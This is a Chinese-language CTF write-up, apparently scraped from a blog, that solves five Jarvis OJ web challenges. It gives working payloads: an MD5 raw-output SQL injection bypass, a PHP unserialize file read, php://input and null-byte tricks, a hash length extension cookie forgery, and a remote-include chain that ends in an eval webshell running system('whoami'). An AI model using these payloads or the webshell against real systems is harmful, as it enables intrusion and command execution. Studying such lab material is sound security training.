Jarvis OJ (1)


記錄一下OJ平臺的幾道題順便梳理一下知識點。
php

1.loginhtml

 

打開以後是一個密碼框,查看源碼也沒什麼發現,用bp抓包看一下web

上面的hint處有一處sql查詢sql

分析一下這句話數據庫

select * from `admin` where password='".md5($pass,true)."'

MD5($pass,true)vim

參數1就是咱們剛纔看到的password,參數2 true 表示輸出原始MD5轉爲字符串後的結果。即一個簡單的字符串拼接。那麼能夠先從構造sql語句提及。繞過sql無非去構造一個 select * from xxx where pass='xxx' or 1=1cookie

所以去找個字符串:ffifdyoppost

MD5加密後276f722736c95d99e921722cf9ed621c學習

轉換字符串:'or'6<xxx>測試

拼接後變爲select * from `admin` where password= ' ' or ' 6 <xxx> ' 至關於select * from admin where pass= ' ' or 1 

所以password=ffifdyop

 

2.神盾局的祕密

查看源碼

一個亂碼,img字段拿去解密,shield.jpg

看到這裏能夠想到文件包含,將index.php加密後放回去aW5kZXgucGhw

index.php

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

再將shield.php文件的源碼下載下來。

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

showing.php

<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

三段代碼分析。

須要構造一個序列化的字符串,而且file包含pctf.php。

在shield.php基礎上構造一個序列化

<?php
//flag is in pctf.php
class Shield {
    public $file;
    function __construct($filename = '') {
        $this -> file = $filename;
    }

    function readfile() {
        if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
            return @file_get_contents($this->file);
        }
    }
}
$shield = new Shield('pctf.php');
echo serialize($shield);
?>

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

最後構造index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

獲得flag

3.In a Mess

提示index.phps

查看此文件源碼

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}


?>

主要源碼在中間

file_get_content能夠利用php僞協議進行讀取

即構造a=php://input 

post :1112 is a nice lab

b的值頗有意思,b須要長度大於5,並且在截取b字符串的前兩位的時候不等於4

構造b=%0011111

最後利用弱類型id=0b

最後的效果:

由於firefox的hackbar開始無良的收費了,所以這裏我用burpsuit代替post功能了。

抓包後

 

跟進一下出來的那個文件。

 

由於這個數據庫的過濾太多,因此不建議用sqlmap跑這個數據庫。

 

 

4.flag在管理員手裏

根據提示只有admin才能夠訪問。抓包後查看有沒有和admin有關的區域。

role的值直接能夠修改成admin,關鍵點在於hsh這個值。

這裏要弄清楚一個原理:hash長度拓展攻擊

 

掃目錄發現 有一個index.php~文件放進vim復現代碼。

    <?php 
        $auth = false;
        $role = "guest";
        $salt = 
        if (isset($_COOKIE["role"])) {
            $role = unserialize($_COOKIE["role"]);
            $hsh = $_COOKIE["hsh"];
            if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
                $auth = true;
            } else {
                $auth = false;
            }
        } else {
            $s = serialize($role);
            setcookie('role',$s);
            $hsh = md5($salt.strrev($s));
            setcookie('hsh',$hsh);
        }
        if ($auth) {
            echo "<h3>Welcome Admin. Your flag is 
        } else {
            echo "<h3>Only Admin can see the flag!!</h3>";
        }
    ?>

能夠看到源碼中有這樣一段。

 ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"])

如今須要生成一個拓展後的字符串

將\x替換爲%

s:5:"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest"%3b

放回原來admin的位置抓包後便可看到flag

5.Chopper

圖片的連接是一個

有一個url包含。

抓取一下admin目錄的代碼。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /admin/
on this server.</p>
<script>alert('you are not admin!')</script>
<!--<script>alert('admin ip is 202.5.19.128')</script>-->
</body></html>

開始時添加X-FF頭:202.5.19,.128發現沒什麼用。借鑑了一下別人的wp。

發現此處用的是遠程包含

本地進行測試一下

1.php/2.php
<?php
echo file_get_content($_GET['file']);
?>
3.php
<?php
eval($_GET['cmd']);
?>

測試用例:

http://localhost:63342/shenji/1.php5?file=http://localhost:63342/shenji/2.php5?file=http://localhost:63342/shenji/3.php5/cmd=system(%27whoami%27);

能夠直接進行命令執行。

這裏附上別人的作法:

web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/

很棒的作法,學習了一下。

相關文章
相關標籤/搜索